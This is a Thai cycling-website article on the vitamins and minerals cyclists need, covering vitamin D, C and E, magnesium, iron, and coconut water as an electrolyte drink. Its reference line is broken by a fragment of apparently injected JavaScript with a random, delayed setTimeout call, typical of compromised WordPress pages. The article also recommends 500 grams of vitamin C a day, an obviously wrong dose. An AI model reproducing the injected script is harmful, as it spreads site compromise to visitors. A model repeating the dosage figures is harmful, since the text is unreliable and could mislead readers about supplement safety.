• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

kan by kan
19 April 2019
in Cycling Tips
0
วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

วิตามินและเกลือแร่มีผลต่อการฟื้นฟูและเสริมสร้างร่างกายนักปั่นให้แข็งแรง แน่นอนว่าการรับวิตามินหรือเกลือแร่เสริมมักจะเป็นข่าวและเรื่องลบๆ ในสื่อโซเชียว แต่ The more you ride, the more you eat นั้นคือนักปั่น นักวิ่งและคนที่ออกกำลังกายบ่อยๆ จะมีความต้องการพลังงาน สารอาหารที่มากขึ้น วิตามินเกลือแร่ต่างๆ ก็หนีไม่พ้น ก็ต้องรับเพิ่มขึ้นตามเช่นกัน

วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

Vitamin D:วิตามินจากแสงอาทิตย์

หน้าที่ของวิตามิน D คือตัวแปรสำคัญในการรักษาและซ่อมแซมมวลกระดูก กล้ามเนื้อ และยังทำหน้าที่ให้ระบบเมตาบอลิซึมทำงานได้ตามปกติ การเพิ่มปริมาณวิตามิน D ในกระแสเลือด 75 to 100 nmol/L สามารถกระตุ้นระบบแอโรบิค การเติบโตของกล้ามเนื้อให้เพิ่มขึ้น กล้ามเนื้อสร้างพลังงานงานได้มากขึ้นและลดเวลา recovery ลง รวมถึงเพิ่มมวลกระดูกขึ้นด้วย แต่ถ้ารับมามากเกินไป มากกว่า 125 nmol/L จะให้ผลด้านลบแทน

คนทั่วไปมักไม่รู้ว่า เรามักจะขาดวิตามิน D เพราะ ปริมาณวิตามิน D ในอาหารค่อยข้างมีน้อย แหล่งวิตามินที่พบ ได้แก่ ไขมันปลา พวกปลาแซลมอนและปลาทูหรือปลาตระกูลปลาแมกเคอเรล นอกจากนี้ยังพบในชีส นมและไข่ ข้อดีของวิตามิน D คือ ร่างกายสามารถสังเคราะห์ได้เองจากการรับแสงอาทิตย์ แดดช่วงยามเช้าดีที่สุด (ด้วยแดดบ้านเรามันแรง ถ้าอยู่ยาวจนสายๆ กลัวว่าผิวจะไหม้เกรียมได้นะครับ) แต่ถ้าจะซื้ออาหารเสริมมารับประทานเอง ก็รับในช่วง 1000 – 5000 IU พอ  

Vitamin C: เสริมร้างภูมิคุ้มกัน

ร่างกายเราต้องการวิตามิน C เพื่อให้ระบบภูมิกันร่างกายทำงานได้อย่างเป็นปกติ เอาไว้ต่อสู้กับโรคหัวใจด้วย นอกจากนี้ยังช่วยให้สายตาแข็งแรงและช่วยลดรอยตีกา สารวิตามิน C สามรถสูญสลายได้ง่ายเมื่อพบกับแสงแดดและลมอากาศ ทำให้น้ำผลไม้ อย่างพวกน้ำส้ม เมื่อสัมผัสกับแดดและลมสักพักหนึ่ง จะมีวิตามินเหลือน้อยลง

เราสามารถพบวิตามิน C ได้ในผลไม้กลุ่มส้ม มะเขือเทศ สตอเบอรี่และสัปปะรด เป็นต้น สำหรับคนที่ต้องการรับประทานเพิ่มก็แนะนำเม็ดวิตามินซี 500 กรัมต่อวันก็เพียงพอแล้ว

Vitamin E:เพิ่มพลังลมปราณ

วิตามิน E สาร Antioxidant ตัวนี้ที่ช่วยยับยั้ง การเสื่อมของเยื่อหุ้มเซลล์  และป้องกันเซลล์ถูกทำลายจากสารอนุมูลอิสระ และทำให้อวัยวะต่าง ๆ ในร่างกาย ทำงานได้อย่างมีประสิทธิภาพ และมีความคงทนมากขึ้นด้วย ที่สำคัญ มีหน้าที่สำคัญในการขยายหลอดลม และเป็นยาต้านการแข็งตัวของเลือด ทำให้ปอดและกล้ามเนื้อเราทำงานได้ดีขึ้น

ผู้ใหญ่ทั่วไปแนะนำปริมาณ 15 mg/day เราสามารถพบวิตามิน E ไดใน มะเขือเทศ นม ไข่ ถั่ว ปลา ไข่ จมูกข้าวสาลี ขนมปังโฮลวีต ในน้ำมันพืช และผักใบเขียว

Magnesium:ช่วยเผาผลาญไขมันและเปลี่ยนเป็นพลังงาน

หนึ่งในเกลือแร่ที่สำคัญของร่างกาย ช่วยรักษาระดับความดันโลหิต การพัฒนากระดูก ระดับน้ำตาลในร่างกายตลอดจนไปถึงการทำงานของเส้นประสาทและกล้ามเนื้อ ที่สำคัญ เป็นเกลือแร่ที่มีส่วนช่วยในการเปลี่ยนไขมันและแป้งให้กลายไปเป็นพลังงาน สามารถพบได้ใน อาหารจำพวกเนื้อสัตว์ ปลา ธัญพืชทั่วไป อัลมอนด์ ถั่ว ผักสีเขียวเข้ม กล้วย หรือแม้แต่ ช็อคโกแลต หากรับประทานมากไปก็ระวังเป็นโรคไตนะครับ

ปกติเวลาปั่นออกกำลังกาย เหงื่อที่เราขับออกมาจะมีแมกนีเซียมออกมาด้วย การสูญเสียทางอื่นก็จะเป็นปัสสาวะ ปริมาณที่แนะนำในแต่ละวัน จะแบ่งเป็นชาย 420 mg และหญิง 320mg   

Iron: โรงงานขนส่งออกซิเจน

ธาตุเหล็กมีหน้าสำคัญในการที่จะช่วยสร้างเซลล์เม็ดเลือดแดง ซึ่งเป็นตัวการสำคัญที่จะนำออกซิเจนไปเลี้ยงส่วนต่างๆ หน้าที่ของธาตุเหล็ก คือ เป็นสารอาหารสำคัญในกระบวนการผลิตเฮโมโกลบิน ไมโอโกลบิน และเอนไซม์บางชนิด ช่วยเสริมสร้างกล้ามเนื้อและเพิ่มความแข็งแรงของกล้ามเนื้อได้ด้วย

การมีแร่ธาตุเหล็กต่ำ จะทำให้รู้สึกเหนื่อยง่าย ระดับ performance ในการปั่นลดลง โดยเฉพาะคุณผู้หญิงที่มีประจำเดือนจะมีผลกระทบมากต่อ performance และอารมณ์มาก และนื่องจากร่างกายไม่สามารถสร้างธาตุเหล็กได้เอง เราจึงต้องรับประทานเพิ่มเข้าไป โดยแหล่งอาหารที่มีธาตุเหล็กสูงได้แก่ ปลา เป็ด ไก่ ตับ ม้าม อาหารทะเล เนื้อสัตว์ ไข่แดง และอาหารเช้าซีเรียล ส่วนอาหารที่จะช่วยเสริมธาตุเหล็กในร่างกายได้เช่นกันคือ ผักใบเขียวเข้มทุกชนิด

ปริมาณที่แนะนำ ถ้าเป็นผู้หญิงอายุ 19-50 ปี 18mg/day และชาย 10-12 mg/day และหากรับมากเกินไปก็จะส่งผลกระทบต่อการทำงานของไขกระดูก ไต ตับ ปอด หัวใจ และสมอง มีผลต่อการกดภูมิคุ้มกันต้านทานโรคต่างๆได้

แถมท้ายกันสักนิด สำหรับคนที่กำลังมองหาอาหารเครื่องดื่มที่จะช่วยเติมสารอิเลกโตรไลท์และไม่ต้องการเครื่องดื่มเกลือแร่ทั่วไปที่มีขาย เราแนะนำให้ดื่ม น้ำมะพร้าว เพราะน้ำมะพร้าวสามารถทดแทนสารสารอิเล็กโตรไลด์ที่สูญเสียไป อย่างโปรแตสซียม (Potassium) และแมกนีเซียม (Magnesium) สูง ซึ่งจำเป็นต่อการรักษาสมดุลร่างกายและดีการออกกำลังกาย แถมให้พลังงานแคลอรี่น้อยกว่าเครื่องดื่มเกลือแร่  

อ้างอิง andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-minerals-cyclists-need-more-of?fbclid=IwAR3G2_KwdIvQ6mcdAYRejJ9lKIxbCl_x_9lDR-rzSRbsoUZJ3HHFsiJnui0″>www.active.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • เฟรมสำเนา เหมือนแค่ไหนยังไงก็คือของปลอม!

    0 shares
    Share 0 Tweet 0
  • เกร็ดความรู้กับล้อจักรยาน

    0 shares
    Share 0 Tweet 0
  • หนึ่งวันก่อนวันวิ่งแข่งขัน เราควรซ้อมวิ่งหรือไม่วิ่งซ้อมวิ่งดี!!?

    0 shares
    Share 0 Tweet 0
  • มือใหม่อยาก วิ่ง 10 กิโล ต้องเริ่มอย่างไรและเรียนรู้อะไรบ้าง

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.